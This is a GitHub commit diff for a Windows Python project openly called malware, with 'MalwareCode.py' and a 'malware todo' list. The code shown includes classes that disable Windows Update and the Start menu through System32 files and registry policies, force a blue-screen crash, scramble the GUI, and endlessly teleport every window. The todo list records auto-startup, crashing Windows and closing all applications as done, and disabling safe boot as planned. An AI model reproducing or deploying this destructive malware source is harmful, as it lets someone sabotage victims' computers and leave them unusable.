Skip to content

Commit bbf3dd9

Browse files
Created MalwareBuilder
Feature added: Random tp windows 🤡 Also made more classes configurable
1 parent 18438ae commit bbf3dd9

File tree

2 files changed

+91
-31
lines changed

2 files changed

+91
-31
lines changed

MalwareCode.py

Lines changed: 90 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,8 @@
1313
import pyautogui
1414
import pygetwindow as gw
1515
import win32clipboard
16+
import win32con
17+
import win32gui
1618
import wmi
1719

1820
# ------------------------- Constants Code ------------------------- #
@@ -493,12 +495,15 @@ def enable():
493495
print(f"Error enabling Windows Firewall or restoring access: {e}")
494496

495497
class WindowsUpdate:
496-
def __init__(self):
497-
self.files = [
498-
r"C:\Windows\System32\wuapp.exe",
499-
r"C:\Windows\System32\usoclient.exe",
500-
r"C:\Windows\System32\settingshandlers.dll",
501-
]
498+
def __init__(self, files=None):
499+
if files is None:
500+
self.files = [
501+
r"C:\Windows\System32\wuapp.exe",
502+
r"C:\Windows\System32\usoclient.exe",
503+
r"C:\Windows\System32\settingshandlers.dll",
504+
]
505+
else:
506+
self.files = files
502507

503508
def disable(self):
504509
"""
@@ -804,10 +809,10 @@ def enable(self):
804809

805810
class StartMenu:
806811
# Constants for registry modification
807-
def __init__(self):
812+
def __init__(self, reg_value="NoStartMenuMorePrograms"):
808813
self.KEY = reg.HKEY_CURRENT_USER
809814
self.REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
810-
self.REG_VALUE = "NoStartMenuMorePrograms"
815+
self.REG_VALUE = reg_value
811816

812817
def disable(self):
813818
"""Disables the Start button by modifying the registry."""
@@ -1054,9 +1059,9 @@ def enable(self):
10541059
print(f"Error enabling clock: {e}")
10551060

10561061
class FileContextMenu:
1057-
def __init__(self):
1058-
self.HWND_BROADCAST = 0xFFFF
1059-
self.WM_SETTINGCHANGE = 0x1A
1062+
def __init__(self, broadcast_hex=0xFFFF, setting_change_hex=0x1A):
1063+
self.HWND_BROADCAST = broadcast_hex
1064+
self.WM_SETTINGCHANGE = setting_change_hex
10601065

10611066
def __broadcast_settings_change(self):
10621067
# Notify Windows about changes in settings
@@ -1440,12 +1445,14 @@ def format(self):
14401445
print(f"An error occurred: {e}")
14411446

14421447
class BSOD:
1443-
def __init__(self):
1444-
self.MAX_CRASHES = 1
1445-
self.REGISTRY_PATH = r"SOFTWARE\CustomBSOD"
1446-
self.VALUE_NAME = "CrashCount"
1447-
self.CRASH_ERR = "Oopsie woopsie! Uwu We made a fucky wucky!! A wittle fucko boingo! The code monkeys at our headquarters are working VEWY HAWD to fix this!"
1448-
self.CRASH_CODE = 0x00069420
1448+
def __init__(self, max_crashes=1,
1449+
crash_err="The code monkeys at our headquarters are working very hard to fix this!",
1450+
crash_code=0x00069420):
1451+
self.MAX_CRASHES = max_crashes
1452+
self.REGISTRY_PATH = r"SOFTWARE\SysBSOD"
1453+
self.VALUE_NAME = "BCC"
1454+
self.CRASH_ERR = crash_err
1455+
self.CRASH_CODE = crash_code
14491456

14501457
def __check_registry_and_update(self):
14511458
"""
@@ -1725,11 +1732,8 @@ def start(self):
17251732
except KeyboardInterrupt:
17261733
print("Mouse freeze stopped.")
17271734

1728-
class DrunkGUI:
1735+
class CrazyGUI:
17291736
def __init__(self):
1730-
# Constants for desktop manipulation
1731-
self.SPI_SETDESKWALLPAPER = 20
1732-
self.SPI_GETDESKWALLPAPER = 0x0073
17331737
# Global variable to store original window states
17341738
self.original_states = {}
17351739

@@ -1796,20 +1800,77 @@ def __revert_gui(self):
17961800
print("All changes reverted.")
17971801

17981802
def start(self):
1799-
# Start bugging threads for maximum chaos
1800-
desktop_thread = threading.Thread(target=self.__bug_desktop, daemon=True)
1801-
windows_thread = threading.Thread(target=self.__bug_windows, daemon=True)
1803+
try:
1804+
# Start bugging threads for maximum chaos
1805+
desktop_thread = threading.Thread(target=self.__bug_desktop, daemon=True)
1806+
windows_thread = threading.Thread(target=self.__bug_windows, daemon=True)
1807+
1808+
desktop_thread.start()
1809+
windows_thread.start()
18021810

1803-
desktop_thread.start()
1804-
windows_thread.start()
1811+
while True:
1812+
time.sleep(1)
1813+
except KeyboardInterrupt:
1814+
self.__revert_gui()
1815+
1816+
class WindowTeleport:
1817+
# Function to get screen dimensions
1818+
def __init__(self, timeout=2):
1819+
user32 = ctypes.windll.user32
1820+
user32.SetProcessDPIAware()
1821+
self.screen_width = user32.GetSystemMetrics(0) # SM_CXSCREEN
1822+
self.screen_height = user32.GetSystemMetrics(1) # SM_CYSCREEN
1823+
self.TIMEOUT = timeout
1824+
1825+
# Teleport windows forever
1826+
def __tp_windows_forever(self):
1827+
while True:
1828+
# Get all open windows
1829+
windows = gw.getAllWindows()
1830+
1831+
for window in windows:
1832+
# Only teleport visible windows
1833+
if window.visible: # Use the correct attribute
1834+
# Generate random coordinates
1835+
random_x = random.randint(0, self.screen_width - 100)
1836+
random_y = random.randint(0, self.screen_height - 100)
1837+
1838+
# Move the window to the random location
1839+
try:
1840+
win32gui.SetWindowPos(
1841+
window._hWnd, # Window handle
1842+
win32con.HWND_TOP, # Top position
1843+
random_x,
1844+
random_y,
1845+
window.width,
1846+
window.height,
1847+
win32con.SWP_NOZORDER | win32con.SWP_NOSIZE
1848+
)
1849+
except Exception as e:
1850+
print(f"Failed to move window {window.title}: {e}")
1851+
1852+
# Sleep for a short duration to avoid excessive CPU usage
1853+
time.sleep(self.TIMEOUT)
1854+
1855+
# Start the teleport thread
1856+
def __thread_tp(self):
1857+
teleport_thread = threading.Thread(target=self.__tp_windows_forever, daemon=True)
1858+
teleport_thread.start()
18051859

1806-
# Run for 15 seconds, then revert
1807-
time.sleep(15)
1808-
self.__revert_gui()
1860+
def start(self):
1861+
print("Starting the teleportation thread. Press Ctrl+C to stop.")
1862+
self.__thread_tp()
18091863

1864+
# Keep the main thread alive
1865+
try:
1866+
while True:
1867+
time.sleep(1)
1868+
except KeyboardInterrupt:
1869+
print("\nExiting...")
18101870

18111871
# ----------------------------- Script Code ------------------------- #
18121872

1873+
18131874
"""
18141875
if PATH != MOVE_TO:
18151876
move_script() # Move the script to the Public Documents directory

malware todo.txt

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -43,8 +43,7 @@ Auto Startup (Part of Core Features) ✅
4343
Move File to New location (Part of Core Features) ✅
4444
Crash Windows ✅ 💀
4545
Bug out Windows GUI ✅ 🤡
46-
Print mouse cursor
47-
Teleport all windows
46+
Teleport all windows ✅ 🤡
4847
Disable Safe boot (bcdedit)
4948

5049
Close all applications - ctypes.windll.user32.PostMessageW(0xffff, 0x0112, 0xF060, 0) ✅

0 commit comments

Comments
 (0)